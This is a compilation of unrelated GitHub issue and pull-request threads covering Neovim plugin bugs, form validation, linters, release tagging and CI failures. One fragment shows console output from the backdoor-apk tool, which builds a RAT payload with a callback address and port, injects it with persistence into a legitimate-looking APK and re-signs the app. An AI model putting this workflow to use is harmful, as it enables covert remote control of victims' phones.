bug: neo-tree delete confirmation prompt text is not visible

Did you check docs and existing issues?

[X] I have read all the LazyVim docs
[X] I have searched the existing issues of LazyVim
[X] I have searched the existing issues of plugins related to this issue

Neovim version (nvim -v)
NVIM v0.10.0-dev-3474+gf5d59340a-Homebrew
Operating system/version
MacOS 14.3
Describe the bug
I have a vanilla LazyVim configuration, I'm primarily just changing the color theme to kanagawa, and pinning a major version for LuaSnip. When I attempt to delete a file, I get a confirmation popup, but there's no text other than "y/n":

This could be an issue in LazyVim, in neo-tree, it could be in my config (but again, it's so simple I'm doubtful about that). I've searched neo-tree's github for issues like this to no avail, and I may submit an issue over there in the hope that someone has seen this as well.
With the repro config below, what I'm noticing now is that the text is there, but it's black on nearly black, and the top border is still clipped:

Steps To Reproduce

Open nvim
Navigate to a file in the tree
Press d
Note the confirmation prompt clips the top border and the text is almost impossible to read and the popup top border is missing.

Expected Behavior
Readable delete confirmation prompt appears
Repro
-- DO NOT change the paths and don't remove the colorscheme
local root = vim.fn.fnamemodify("./.repro", ":p")

-- set stdpaths to use .repro
for _, name in ipairs({ "config", "data", "state", "cache" }) do
        vim.env[("XDG_%s_HOME"):format(name:upper())] = root .. "/" .. name
end

-- bootstrap lazy
local lazypath = root .. "/plugins/lazy.nvim"
if not vim.loop.fs_stat(lazypath) then
        vim.fn.system({ "git", "clone", "--filter=blob:none", "https://github.com/folke/lazy.nvim.git", lazypath })
end
vim.opt.runtimepath:prepend(lazypath)

-- install plugins
local plugins = {
        "folke/tokyonight.nvim",
        "folke/LazyVim",
        -- enough plugins to load neo-tree
        { "nvim-lua/plenary.nvim", lazy = true },
        { "MunifTanjim/nui.nvim", lazy = true },
        -- this config comes from lua/lazyvim/plugins/editor.lua, I do not modify that in my configuration
        {
                "nvim-neo-tree/neo-tree.nvim",
                branch = "v3.x",
                cmd = "Neotree",
                keys = {
                        {
                                "<leader>fe",
                                function()
                                        require("neo-tree.command").execute({ toggle = true, dir = Util.root() })
                                end,
                                desc = "Explorer NeoTree (root dir)",
                        },
                        {
                                "<leader>fE",
                                function()
                                        require("neo-tree.command").execute({ toggle = true, dir = vim.loop.cwd() })
                                end,
                                desc = "Explorer NeoTree (cwd)",
                        },
                        { "<leader>e", "<leader>fe", desc = "Explorer NeoTree (root dir)", remap = true },
                        { "<leader>E", "<leader>fE", desc = "Explorer NeoTree (cwd)", remap = true },
                        {
                                "<leader>ge",
                                function()
                                        require("neo-tree.command").execute({ source = "git_status", toggle = true })
                                end,
                                desc = "Git explorer",
                        },
                        {
                                "<leader>be",
                                function()
                                        require("neo-tree.command").execute({ source = "buffers", toggle = true })
                                end,
                                desc = "Buffer explorer",
                        },
                },
                deactivate = function()
                        vim.cmd([[Neotree close]])
                end,
                init = function()
                        if vim.fn.argc(-1) == 1 then
                                local stat = vim.loop.fs_stat(vim.fn.argv(0))
                                if stat and stat.type == "directory" then
                                        require("neo-tree")
                                end
                        end
                end,
                opts = {
                        sources = { "filesystem", "buffers", "git_status", "document_symbols" },
                        open_files_do_not_replace_types = { "terminal", "Trouble", "trouble", "qf", "Outline" },
                        filesystem = {
                                bind_to_cwd = false,
                                follow_current_file = { enabled = true },
                                use_libuv_file_watcher = true,
                        },
                        window = {
                                mappings = {
                                        ["<space>"] = "none",
                                        ["Y"] = function(state)
                                                local node = state.tree:get_node()
                                                local path = node:get_id()
                                                vim.fn.setreg("+", path, "c")
                                        end,
                                },
                        },
                        default_component_configs = {
                                indent = {
                                        with_expanders = true, -- if nil and file nesting is enabled, will enable expanders
                                        expander_collapsed = "",
                                        expander_expanded = "",
                                        expander_highlight = "NeoTreeExpander",
                                },
                        },
                },
                config = function(_, opts)
                        local function on_move(data)
                                Util.lsp.on_rename(data.source, data.destination)
                        end

                        local events = require("neo-tree.events")
                        opts.event_handlers = opts.event_handlers or {}
                        vim.list_extend(opts.event_handlers, {
                                { event = events.FILE_MOVED, handler = on_move },
                                { event = events.FILE_RENAMED, handler = on_move },
                        })
                        require("neo-tree").setup(opts)
                        vim.api.nvim_create_autocmd("TermClose", {
                                pattern = "*lazygit",
                                callback = function()
                                        if package.loaded["neo-tree.sources.git_status"] then
                                                require("neo-tree.sources.git_status").refresh()
                                        end
                                end,
                        })
                end,
        },
}
require("lazy").setup(plugins, {
        root = root .. "/plugins",
})

vim.cmd.colorscheme("tokyonight")
-- add anything else here

Can't reproduce with a fresh LazyVim starter template.

Thanks for the response. So, if I started this all from scratch - no ~/.config/nvim folder, and I've removed ~/.local/share/nvim and ~/.local/state/nvim and ~/.repro, and I just run nvim -u repro.lua ., where do you suggest I look? I'm able to repro this with the repro lua pretty easily.

Can you try the following
1. `mkdir ~/.config/lazytest`
2. `git clone https://github.com/LazyVim/starter ~/.config/lazytest`
3. `NVIM_APPNAME=lazytest nvim` and wait for the installation to complete
4. Restart Neovim with the command provided in step 3

Do you observe the same behavior with LazyVim defaults? Don't make any changes of your own.
For cleanup
rm -rf ~/.config/lazytest
rm -rf ~/.local/share/lazytest
rm -rf ~/.local/state/lazytest
rm -rf ~/.cache/lazytest

Oh, this is weird:
If I run exactly your steps, culminating in NVIM_APPNAME=lazytest nvim, I get

If I run these steps but provide a directory to open? As in NVIM_APPNAME=lazytest nvim . ? I get

Its look like some ptoblem with your color theme
So, the betrer way to test
Install fresh version of LazyVim
Check if all look nice, aplly your color theme - check again and back to default color theme to last check.

@steve-down
Yes, I can reproduce when opening a directory. However I don't believe it's a LazyVim issue. In the repro file that you provided I commented out folke/LazyVim, so the only plugins that are installed then are lazy.nvim, neo-tree.nvim, nui.nvim, plenary.nvim and tokyonight.nvim. So, I was able to reproduce this without LazyVim by commenting it out in your repro.lua.
That's why I believe it has something to do with neo-tree itself.

I agree - it's a strange edge condition, it would seem - no command-line == OK. file on the command line == OK. Directory on the command line == failed.
Thanks so much for your help!

@steve-down
Can you try the following? Instead of the init function that you use in your configuration, try to replace it with this
    init = function()
      vim.api.nvim_create_autocmd("BufEnter", {
        -- make a group to be able to delete it later
        group = vim.api.nvim_create_augroup("NeoTreeInit", { clear = true }),
        callback = function()
          local f = vim.fn.expand("%:p")
          if vim.fn.isdirectory(f) ~= 0 then
            vim.cmd("Neotree left dir=" .. f)
            -- neo-tree is loaded now, delete the init autocmd
            vim.api.nvim_clear_autocmds({ group = "NeoTreeInit" })
          end
        end,
      })
    end,

I'm not exactly sure why, but this seems to avoid the problem you're observing. I'm not sure why this happens and not familiar with neo-tree's internals, so you might want to ask a question at their repo as what the correct approach should be.

Um, this is embarrassing... I think... you see the 0.10.0-dev version up there?
brew remove neovim
brew install neovim

Problem appears solved against this repro.lua. Will also try your change to it. Thanks again!

What is the Neovim version you use that solved your issue?

The latest version available with Homebrew:
NVIM v0.9.5
Build type: Release
LuaJIT 2.1.1703358377

If this is the case, then this should be fixed in neotree.
They should llisten for ColorScheme events and update their default colors accordingly.


Publish<EMAIL_ADDRESS>

https://github.com/drmohundro/SWXMLHash/releases/tag/7.0.2

@brentleyjones @fmeum could one of you please merge this? Thanks!


refactor(backend): add getOrCreate method for grantReferenceService

Changes proposed in this pull request

Add getOrCreate method for grantReferenceService

Context

fixes https://github.com/interledger/rafiki/issues/703

Checklist

[x] Related issues linked using fixes #number
[x] Tests added/updated
[ ] Documentation added
[x] Make sure that all checks pass

This will completely remove grantReferenceService (if we decide we want to):

https://github.com/interledger/rafiki/pull/800

Closing this PR since https://github.com/interledger/rafiki/pull/800 got merged in.


Vaccination QR-Code isn't equal to scanned vaccination code (EXPOSUREAPP-7416)

Parameterise Qr-Code error correction level

Successor of # 3267 as I recognized to late that it was targeting the wrong release: https://github.com/corona-warn-app/cwa-app-android/pull/3267#issuecomment-848752794
Thanks <3


:white_check_mark: test(ts-plugin): Add complete test coverage to lsp

Description
Add complete test coverage to lsp
Testing
Explain the quality checks that have been done on the code changes
Additional Information

[ ] I read the contributing docs (if this is your first contribution)

Your ENS/address:

Current dependencies on/for this PR:

main

PR #310   👈

This comment was auto-generated by Graphite.


Support Python 3

gevent 1.1alpha2 apparently supports it. Might need work in Haigha though
Tests must run both Py 2 and Py 3

gevent 1.2 has support, howeber Haigha seems currently broken on Py3 https://github.com/agoragames/haigha/issues/94

If I may make a suggestion, haigha seems to be unmaintained. Maybe porting to pika https://pika.readthedocs.io/en/0.10.0/ would be a good idea to support python 3.

Now support MQTT on Python 3.  https://github.com/msgflo/msgflo-python/pull/31
Porting to Pika would be the way to go for AMQP

Would be great to switch from gevent to asyncio https://docs.python.org/3/library/asyncio.html
Reasons:

Part of standard library
gevent takes a long time to install
gevent 1.3> has trouble with Docker builds

@bergie what is the problem with gevent in Docker?
Unlikely to rewrite this library to asyncio. Python 3 is supported with MQTT and in production for a year now.


request - sync price update in stock to MagicCardMarket

Hi,  Could you detail your request a bit?

If I have a card in my stock that is synced to card market to sell and I update the price in my stock, then sync again, then it creates a second copy on cardmarket and I have then 2 cards in my "offers" on cardmarket


[ASR Microservice] Different response of ASR on Xeon and Gaudi

I got different response of ASR on Xeon and Gaudi, showing as below:
Run curl on Xeon
curl http://asr-svc.audioqa:9099/v1/audio/transcriptions \
>   -X POST \
>   -d '{"byte_str": "UklGRigAAABXQVZFZm10IBIAAAABAAEARKwAAIhYAQACABAAAABkYXRhAgAAAAEA"}' \
>   -H 'Content-Type: application/json'
{"id":"f6d1c5d68b60c78ba3b6abc044dcab06","model":null,"query":"you","max_new_tokens":1024,"top_k":10,"top_p":0.95,"typical_p":0.95,"temperature":0.01,"repetition_penalty":1.03,"streaming":true}

Run curl on Gaudi
curl http://asr-svc.audioqa:9099/v1/audio/transcriptions \
>   -X POST \
>   -d '{"byte_str": "UklGRigAAABXQVZFZm10IBIAAAABAAEARKwAAIhYAQACABAAAABkYXRhAgAAAAEA"}' \
>   -H 'Content-Type: application/json'
{"id":"0224d01017bbeab1ec9d7baeaeeff4fc","text":"you"}

I have checked that the response of Whisper microservice both on Xeon and Gaudi are {"asr_result":"you"}. So I doubt that there are something wrong with the ASR Microservice

Please use the latest Docker image build on main branch.


Builder need to recognize Build.pm6 as a legit module.

I'd rather we find a declarative replacement (a build.json?) for Build.pm soon. Build.pm as is has various issues like being tied to panda and making implementation of a module installer much harder than it should be.


Adds AUMCdb Transformation Configuration

Additionally, some fixes for the MIMIC-IV example

Summary by CodeRabbit

New Features

Introduced comprehensive README files for AUMC and MIMIC-IV examples, detailing dataset extraction and processing instructions.
Added configuration files to manage patient data and streamline data processing workflows.
Implemented scripts for efficient data handling and parallel processing capabilities.

Bug Fixes

Clarified directory paths and variable usage in MIMIC-IV README to prevent confusion.

Documentation

Enhanced README files with installation instructions, usage guidelines, and notes on potential memory issues.

Chores

Added validation checks in scripts to improve robustness and user guidance.

The pipeline seems to be running without errors now @mmcdermott. Although it seems like the extract_AUMC.yaml file with n_patients_per_shard does not result in multiple sharded files.

Note that:

I didn't review the logic of the pre-meds step, because I'm not familiar with AUMCdb.
There are some format and empty import suggestions that coderabbit has that you should accept. They have committable suggestions that can make it easy to follow them.
You'll likely have to make some changes for the PR and tests check which will likely overlap with the coderabbit check -- I've just approved them so they are running now.

Also, flagging this PR generally for @kingrc15, who is working on cleaning up the eICU example as well.

@mmcdermott Request is ready to merge from our side

@rvandewater and @prockenschaub -- if you, in your terminal where you're running git commit on these files, install pre-commit via pip install -e .[dev] then install the pre-commit hooks via pre-commit install it should automatically check and correct the issues in the PR check for you on every commit.


fix race-condition issue 406

https://github.com/Tufin/oasdiff/issues/406

We're currently processing your upload.  This comment will be updated when the results are available.


Add character healthCheck endpoint and User Recovery Questions

This pull requests does the following

Creates a health check for the server at /health/character
Adds the ability to save User Recovery questions in accordance to #98

From here, a messenger should be added (Till, MailGun, SnedGrid, etc.) for user recovery after entering the recovery question.

Coverage increased (+0.02%) to 96.839% when pulling 28405cb6170dc98e68ad16d6742b8a9cb8977cb1 on dev into a3cb940151293e9ad842b7e31b433e3a944a7418 on master.

Helps with #98


Training Detectnet on COCO Dataset

I am trying to train a detectnet model on the COCO dataset. I have downloaded the entire dataset, and I have run the coco2kitti.py script to generate the label files from the COCO annotations. I have made a subset of the data about ~6,000 images for training and ~1000 images for validation.
I performed the rest of the steps per a couple of tutorials, yet my training does not seem to be yielding any results at all. In fact, the charts in Digits only show "loss_bbox(train)" and "loss_coverage(train)". There is no mAP line, precision line, or any other line on my charts. Has anyone had these issues or successfully trained detectnet on the COCO dataset? Is there something I am missing in data preparation?
I loaded the dataset up to Digits

Padding: 640x640
Minimum box size: 25
custom classes: dontcare,person
rest = defaults

I created an object detection model

epochs: 100
subtract mean: none
Solver: adam
learning rate: 2.5e-05
Policy: exponential decay
Custom Network: https://github.com/dusty-nv/jetson-inference/blob/master/data/networks/detectnet.prototxt
pretrained: bvlc_googlenet.caffemodel

Prototxt:
detectnet_prototxt.txt

Here is the prototxt I am using
detectnet_prototxt.txt

hi,That's the same with me. Will you solve it now?

Did you fix it?
I follow the guide to train the DetectNet in https://github.com/dusty-nv/jetson-inference
same problem,,,

Same issue here tooo

Update : I tried with larger & different dataset and different learning rate than what was mentioned in tutorial and my model was successful in detecting the objects.
I wish detect net could be trained in tensorflow

Update : I tried with larger & different dataset and different learning rate than what was mentioned in tutorial and my model was successful in detecting the objects.
I wish detect net could be trained in tensorflow

Do you get mAP curve finally?
Does it mean that when you use a small dataset you can't get the mAP curve?


Send data over RockBlock Instead of WiFi - Iridium Satellite Network

Support RockBlok
Iridium Satellite Communication
The goal is to connect the Papa Duck to the Iridium Satellite Network, to send data from places where there is no LTE or WiFi Available.
We want to integrate the Rockblock module to the different ESP32 boards and add the IRIDIUMSBD library for the RockBlock Module.
Currently you can only send data from the papa straight to an MQTT server by WiFi, so adding the Rockblock we would be able to send data an alternative route.

[x] Setup RockBlock module

[x] When a message comes in we need to convert to a  const char so we can send with RockBlock

[x] When we converted message we can send the message to the network

[ ] Write documentation for future wiki, about tokens/use of iridium

The first example file for the RockBlock is in the #60 Branch: 58-DishDuck-Iridium. This file works when a message comes in over LoRa it triggers the Rockblock send and sends a Char yo the iridium network with the Duck message.

current issue is once you send the first payload of data. It does not repeat. The code breaks because the RockBlock Modem needs some time after transmissions is my guess. Have yet to figure out why it crashes.

Also a detailed README.MD is available for anyone who wants to know how to use the RockBlocks with the TTgo T-Beam and Heltec ESP32 Lora Boards.


feat(template/vanilla): use a namespace 🏎

I don't know how to fix the test, but I released a snapshot and it works.

I don't know how to fix the test, but I released a snapshot and it works.

need to run codegen!

I don't know how to fix the test, but I released a snapshot and it works.

need to run codegen! pnpm run build from packages/contracts

Thank you! I worked here, and I'm now doing the same on the other PRs.

any chance we can do all the templates in one PR?

How about main?
On Tue, May 14, 2024, 8:56 AM alvarius @.***> wrote:

@.**** commented on this pull request.
In templates/vanilla/packages/contracts/mud.config.ts
https://github.com/latticexyz/mud/pull/2816#discussion_r1600090874:

@@ -1,6 +1,7 @@
import { defineWorld } from @.***/world";

export default defineWorld({

namespace: "counter",

thoughts about using home as default namespace in templates? cc @holic
https://github.com/holic
—
Reply to this email directly, view it on GitHub
https://github.com/latticexyz/mud/pull/2816#pullrequestreview-2055459763,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ADBCGGIDWK73EOVQEKFFVL3ZCIJYFAVCNFSM6AAAAABHVB7GFKVHI2DSMVQWIX3LMV43YUDVNRWFEZLROVSXG5CSMV3GSZLXHMZDANJVGQ2TSNZWGM
.
You are receiving this because you authored the thread.Message ID:
@.***>

Closed in favor of a single PR with all the templates.


Add new Lint/NonAtomicFileOperation cop

This PR is add new Lint/NonAtomicFileOperation cop
Checks for non-atomic file operations.
And then replace it with a nearly equivalent and atomic method.
These can cause problems that are difficult to reproduce, especially in cases of frequent file operations in parallel, such as test runs with parallel_rspec.
For examples: creating a directory if there is none, has the following problems
An exception occurs when the directory didn't exist at the time of exist?, but someone else created it before mkdir was executed.
Subsequent processes are executed without the directory that should be there when the directory existed at the time of exist?, but someone else deleted it shortly afterwards.
@safety
This cop is unsafe, because autocorrection change to atomic processing.
The atomic processing of the replacement destination is not guaranteed to be strictly equivalent to that before the replacement.
@example
# bad
unless FileTest.exist?(path)
  FileUtils.makedirs(path)
end

if FileTest.exist?(path)
  FileUtils.remove(path)
end

# good
FileUtils.mkdir_p(path)

FileUtils.rm_rf(path)

Before submitting the PR make sure the following are checked:

[x] The PR relates to only one subject with a clear title and description in grammatically correct, complete sentences.
[x] Wrote good commit messages.
[-] Commit message starts with [Fix #issue-number] (if the related issue exists).
[x] Feature branch is up-to-date with master (if not - rebase it).
[x] Squashed related commits together.
[x] Added tests.
[x] Ran bundle exec rake default. It executes all tests and runs RuboCop on its own code.
[x] Added an entry (file) to the changelog folder named {change_type}_{change_description}.md if the new code introduces user-observable changes. See changelog entry format for details.

In this case the Redundant check is actually Dangerous if you ask me, so perhaps we can rename the cop accordingly. Something like NonAtomicFileOperation might also be appropriate IMO. @rubocop/rubocop-core what do you think?
P.S. Naming is still hard! :D

Naming always annoys me for a long time...
I feel that NonAtomicFileOperation looks good and I changed it. What do you think?

It's fine by me, but I'll leave this open for a couple of days to see if some of the other maintainers comes up with a better name.
It'd be nice if we also mention this in the Ruby style guide, as I doubt many people are aware of this problem.

this new cop makes my rubocop crash...
on both 1.30.0 and 1.30.1

@mathieujobin Can you open a new issue with the bug report template?
https://github.com/rubocop/rubocop/issues/new/choose


feat: Add an option to hide certain tabs on the sheet

Reference

As we know when you install modules like Midi and others,  more tabs gets added on top on the sheet, my idea would be adding an option for the GM to hide certain tabs, right now i can be done using custom CSS (Check example on the screenshots) but it would be nice to have this as a feature of tidy.

https://discord.com/channels/1167985253072257115/1211704382962409492

This will likely involve 2 things:

Provide default and per-item tab selection for item sheets of each type
(GM Only) Expand tab selection to allow for toggling GM / non-GM visibility of tabs while configuring selected tabs

Any override at the item level for tab selection should be respected, so if the default is to hide the Details tab, an individual item could be overridden to show the tab.

Section Configuration utilizes a show/hide eye to toggle section visibility.

In this case, it might be appropriate to provide a similar control in a tab selection UI which allows for specifying what types of users can see a particular tab. It should allow for checking user types from a list and potentially specifying actual users by username in the UI.
This would provide multiple functions to tab selection:

General inclusion/exclusion of a tab
Visibility per user role and/or username

Specs:

Only a GM should be able to see the visibility controls.
If a tab is marked as not visible for a user, then the tab should not be visible in tab selection when that user views it.
The dialog should be smart enough to persist the selected columns even when the user cannot see them.
GMs should always see every tab in tab selection, regardless of visibility settings.
There should be a cycle button to reset a single tab's visibility settings when it differs from the default visibility.


Updated Amount validation conditions to not allow indefinite zeroes at the start.

Details
The IOU Amount page didn't impose limits on the length of the string if zeroes are appended to the string. Hence the string can be indefinitely long if zeroes are used at the start.
Fixed Issues

$ https://github.com/Expensify/App/issues/7068
Tests

Open IOU Amount Page(Send/Receive).
Enter amounts starting with zeroes.
Test edge cases such as 0's at end and fractional values.

[x] Verify that no errors appear in the JS console

QA Steps

Try entering a string of consecutive zeroes.
Test if fractional values appear as expected.

[x] Verify that no errors appear in the JS console

Tested On

[x] Web
[x] Mobile Web
[ ] Desktop
[ ] iOS
[x] Android

Screenshots

Web

https://user-images.githubusercontent.com/48352577/148817443-6f405a07-c6d9-4818-ac4d-a769734e3683.mov
Mobile Web
https://user-images.githubusercontent.com/48352577/148817462-0dc8efb4-4d80-45b5-b664-054e3647ac7c.mp4
Desktop

iOS

Android

https://user-images.githubusercontent.com/48352577/148826431-5ec39a0a-9d9f-49b8-b5cd-4511f94c94e8.mp4

I have read the CLA Document and I hereby sign the CLA

@sig5  Please add videos for the rest of the platforms.

@parasharrajat I don't have access to a Macbook at the moment. But since this is just a regex change, this should work just fine. Can we do without the Mac/iOS videos?

That's fine.

@parasharrajat Thanks :D ! Added for Android.

Ah, I missed that! As a user, he/she might want to change 5001 to 1001, So we should allow trailing zeroes at the beginning.
Now what we can do is:
I can revert the regex change and modify the validation condition.
The issue comes due to the fact that the last length checking condition parses the string as a number and compares the length.
https://github.com/Expensify/App/blob/6803d0091ce4bcf68ca847818ca4a76ca3778ebe/src/pages/iou/steps/IOUAmountPage.js#L141-L144
We can instead parse the string directly after removing the Commas.
this.stripCommaFromAmount(amount).length <= CONST.IOU.AMOUNT_MAX_LENGTH;
And this should take care of all the values.
cc: @parasharrajat

Sound like a plan...

Hi @sig5. please merge main to resolve the failing test.

Done. Thanks!

@Julesssss You probably added the same videos for both cases.

@sig5 sorry, here is the screencast from main
https://user-images.githubusercontent.com/10736861/148995500-5253fb3b-c812-4afa-9e07-db5a39b18ab6.mov

https://user-images.githubusercontent.com/48352577/149001351-d2d74615-fbfd-4832-b642-ac7a1c7b0b05.mp4
First Tab: New code
Second Tab : Main Code
@Julesssss Imho I have been looking at it on my setup and the rendering speeds look quite comparable. Moreover, the complexity overheads for the checks haven't really increased that much.
@parasharrajat Did you see any noticeable difference too?

Hey @Julesssss I have been looking into the code. It seems that the function stripCommaFromAmount is taking too much time while running. This might be the cause of slow rendering in your setup.
Also replacing the regex based str.replace:
    stripCommaFromAmount(amount) {
        return amount.replace(/,/g, '');
    }

with a standard character substitution:
    stripCommaFromAmount(amount) {
        return amount.replace('.', '');
//should take half the time.
    }

brings down the runtime to roughly half or less. I verified it here : jsfiddle.If we do this,we should be able to achieve better performance than both of the versions, the main and the new one.

I suspect stripCommafromAmount might be the culprit here, I have reverted to initial logic and added a check to verify the number of trailing zeroes and handle accordingly. I logged the runtimes of the function in my system and found that it is faster than the former solution.
@Julesssss Could you please test if the rendering delay still persists in your system? Thanks!

Seems, PR is changed completely. I will do the review shortly...

Thanks, @parasharrajat  :D! I addressed the suggestions.

Hey @parasharrajat , the runtimes of both the methods seem pretty much equal on my system!

https://measurethat.net/Benchmarks/Show/16725/0/lodashget-vs-property-df
Native code is 1.5 times faster than lodashGet. But I am fine as far as it does not affect the UX. I leave this to @Julesssss to check. For me, both are the same and I don't see a recognizable delay.

Hi @sig5, with the latest changes I'm once again able to add multiple zeros prior to the decimal place.

Hi @Julesssss  this is expected since we decided to only limit the number of zeroes rather than limiting the zeroes to one since it will pose issues while editing the number. (Eg: 50001->00001-> 10001).
The initial issue was the addition of unlimited zeroes in the number which has been resolved, So you cannot add more zeroes indefinitely but upto 8 0's .
https://github.com/Expensify/App/pull/7104#pullrequestreview-848281020

Ah, I missed that! As a user, he/she might want to change 5001 to 1001, So we should allow trailing zeroes at the beginning.

Ah, that makes sense. Thanks for pointing out the comment.

@sig5, Great job getting your first Expensify/App pull request over the finish line! :tada:
I know there's a lot of information in our contributing guidelines, so here are some points to take note of :memo::

Now that your first PR has been merged, you can be hired for another issue. Once you've completed a few issues, you may be eligible to work on more than one job at a time.
Once your PR is deployed to our staging servers, it will undergo quality assurance (QA) testing. If we find that it doesn't work as expected or causes a regression, you'll be responsible for fixing it. Typically, we would revert this PR and give you another chance to create a similar PR without causing a regression.
Once your PR is deployed to production, we start a 7-day timer :alarm_clock:. After it has been on production for 7 days without causing any regressions, then we pay out the Upwork job. :moneybag:

So it might take a while before you're paid for your work, but we typically post multiple new jobs every day, so there's plenty of opportunity. I hope you've had a positive experience contributing to this repo! :blush:

:hand: This PR was not deployed to staging yet because QA is ongoing. It will be automatically deployed to staging after the next production release.

🚀 Deployed to staging by @Julesssss in version: 1.1.30-4 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

@marcaaron @chiragsalian @mallenexpensify When we have a single zero upfront, it is not being stripped. Can you please confirm its expected?

Hi @mvtglobally I feel like I should mention here that this was discussed here:https://github.com/Expensify/App/pull/7104#pullrequestreview-848281020,
We concluded that, in case the user just missed adding a number before the zeroes, he might want to go back and edit it with the zeroes .
Example:

User wants to type 60001
User types 50001 by mistake
User clears the 5, and 0001 gets stripped to 1
So it can pose issues while editing the number.

Hi @mvtglobally, yes i believe this is fine. From my understanding the code here does not allow indefinite 0's. i.e., you can't enter more than 8 0's to destroy the UI.  You can enter 00012345 and its totally fine. Its just that you cannot enter like 30 0's to break the UI (which currently happens on production). Can you retest and let us know if its a pass or if you have any more questions?

🚀 Deployed to production by @chiragsalian in version: 1.1.31-1 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅


Touch StatisticsAnnouncement on Publication#save

When a Publication is saved in a state other than draft it should touch any associated StatisticsAnnouncement to ensure that it is sent to the publishing api.
This wasn't happening causing StatisticsAnnouncement objects associated with a published Publication not to be redirected.

Do we need a data migration to fix the currently broken ones?

Yes, we do. I was just going to run the code from the previous one we ran back in April but it would be better to add a new one you're right.

What @fofr said, but 👍

I've added the data migration if you could cast your eyes over that... @jennyd did some digging and it seems that up to 11/4 they're all good so I've just republished those with a Publication published since April.

Bon marche 👍


groupBy => groupAdjacentBy

Proposal: rename groupBy => groupAdjacentBy in preparation for implementing groupBy. Mainly I'm suggesting this I don't see why we wouldn't support a normal groupBy (combining like keys even if they are not adjacent). Yes, the implementation requires caching the iterable, but so do some of the other operators.

In this case the solution is pretty much:
1 - create an array
2 - call lodash groupBy
import groupBy as _groupBy from 'lodash/groupBy'
export default function groupBy(f, iter) {
  return _groupBy(Array.from(iter), f)
}

The point of the library is offering tools to work with iterables and async-iterables. I don't think that fits in the description.

I agree the name groupby can be a bit misleading though.

Ok, so I guess Sequins (my sequence pkg) and iter-tools can and will have slightly different goals/descriptions. Sequins goal is going to be parity with Immutable.Seq, and as such it may support some methods, for parity's sake, that don't really belong in iter-tools. I can actually just use the implementation you've written above for groupBy.


 Please select an Android payload option: 2
[?] Please enter an LHOST value: <IP_ADDRESS>
[?] Please enter an LPORT value: 443
[+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
[*] Generating RAT APK file...done.
[*] Decompiling RAT APK file...done.
[*] Decompiling original APK file...done.
[*] Merging permissions of original and payload projects...done.
[*] Running proguard on RAT APK file...done.
[*] Decompiling obfuscated RAT APK file...done.
[*] Creating new directories in original project for RAT smali files...done.
[*] Copying RAT smali files to new directories in original project...done.
[*] Fixing RAT smali files...done.
[*] Obfuscating const-string values in RAT smali files...done.
[*] Locating smali file to hook in original project...done.
[*] Adding hook in original smali file...done.
[*] Adding persistence hook in original project...done.
[*] Recompiling original project with backdoor...done.
[*] Generating RSA key for signing...done.
[*] Signing recompiled APK...done.
[*] Verifying signed artifacts...done.
[*] Aligning recompiled APK...done.
root@kali:~/Code/github/backdoor-apk/backdoor-apk# sha256sum Adobe.apk
cddde3fb5d64832e4012017961c87536fa52ec55dd87815b9a7410b4f44d3c90  Adobe.apk
root@kali:~/Code/github/backdoor-apk/backdoor-apk#

I did notice a relative path to the APK in your run.log file:
Running backdoor-apk at Sun Jan 22 08:31:28 PST 2017
/usr/local/bin/msfvenom
/usr/bin/d2j-dex2jar
/usr/bin/unzip
/usr/bin/keytool
/usr/bin/jarsigner
/usr/bin/apktool
third-party/proguard5.2.1/lib/proguard
third-party/android-sdk-linux/build-tools/23.0.3/dx
third-party/android-sdk-linux/build-tools/23.0.3/zipalign
Archive:  ../../share.apk

Move the APK file to the directory where backdoor-apk.sh resides and try again.

@magix21 I assume everything is working as expected after moving the APK file into the proper location. If not, then please open another issue.


with release so that you can select iterations in a specific release

Rally with Release

Closing, as it's been replaced by other PR.


Notifications - historical data endpoint

Notifications-server should expose a historical data endpoint to show the following:

number of notifications sent in the last X days
number of active subscriptions
number of active users

@charleslavon what other statistical data should be available for those endpoints? I assume we also need an authentication for this endpoint? What would be the client that would fetch this data?

@milenakrawczyk add here to record what we discussed previously - directly access our postgresDB with defined queries is good enough for now.
Marking this task as closed.


Update Brands.razor.cs

fix double loading - again

https://github.com/fullstackhero/blazor-wasm-boilerplate/commit/1aecc5a0a4c300a45172b33fc89e7e7c0ba44b7e
In this commit, I saw that the Double Loading was fixed. Does it still come up?

yeah true - I'll fix in a new PR


x/build: tag imported versions of repos

Plan: once a month (or whatever time unit)
For each x repo in dependency order (lowest first)
go get update all the deps to their latest tags
Wait for that to be green
Tag it with next version
Can probably shoehorn into existing process, maybe not running automatically at first.
0.1.0, 0.2.0, 0.3.0...

Wait for that to be green

Resolving this issue is blocked on coming up with a machine-understandable criteria of what "green" means.

At the moment, I expect to automatically tag all of the following repositories:

arch
crypto
image
mod
net
oauth2
review
sync
sys
term
text
time
tools
tour

Only a few of them are tagged already: mod, review, text, tools, tour. The rest will be tagged for the first time.

Why v0 and not v1? We've been upholding the compatibility promise for a lot of these repositories if not all, and I don't think it would be feasible to make backwards-incompatible changes at this point.

That's entirely up to the project: if you tag (e.g.) a v1.0.0 on x/crypto, the automation will tag v1.1.0 next time it runs. I didn't want to run around asking people how they felt about each repo, and I also didn't want to publish a v1 unilaterally.

I'm gonna call this done. We haven't run it fully end-to-end yet because of the hiccups with x/tools, but it got very close. One possible followup is to have it mail CLs to specified reviewers, since it turns out almost none of our repositories have owners any more, but I'll decide about that next time we run it.


[Dev] Add Danger Jest plugin and update to 2.0b2

Updates us to the latest version of the Danger 2.0 beta ( the key change is this https://github.com/danger/danger-js/pull/395 ) as well as adding messages for failing Jest tests.

Fails

:no_entry_sign:

Danger failed to run dangerfile.ts.

Error SyntaxError
Unexpected token import
dangerfile.ts:2
import { compact, includes, uniq } from "lodash";
^^^^^^

SyntaxError: Unexpected token import
    at createScript (vm.js:74:10)
    at Object.runInThisContext (vm.js:116:10)
    at Module._compile (module.js:537:28)
    at requireFromString (/home/travis/build/artsy/emission/node_modules/danger/node_modules/require-from-string/index.js:28:4)
    at Object.<anonymous> (/home/travis/build/artsy/emission/node_modules/danger/distribution/runner/runners/inline.js:96:21)
    at step (/home/travis/build/artsy/emission/node_modules/danger/distribution/runner/runners/inline.js:32:23)
    at Object.next (/home/travis/build/artsy/emission/node_modules/danger/distribution/runner/runners/inline.js:13:53)
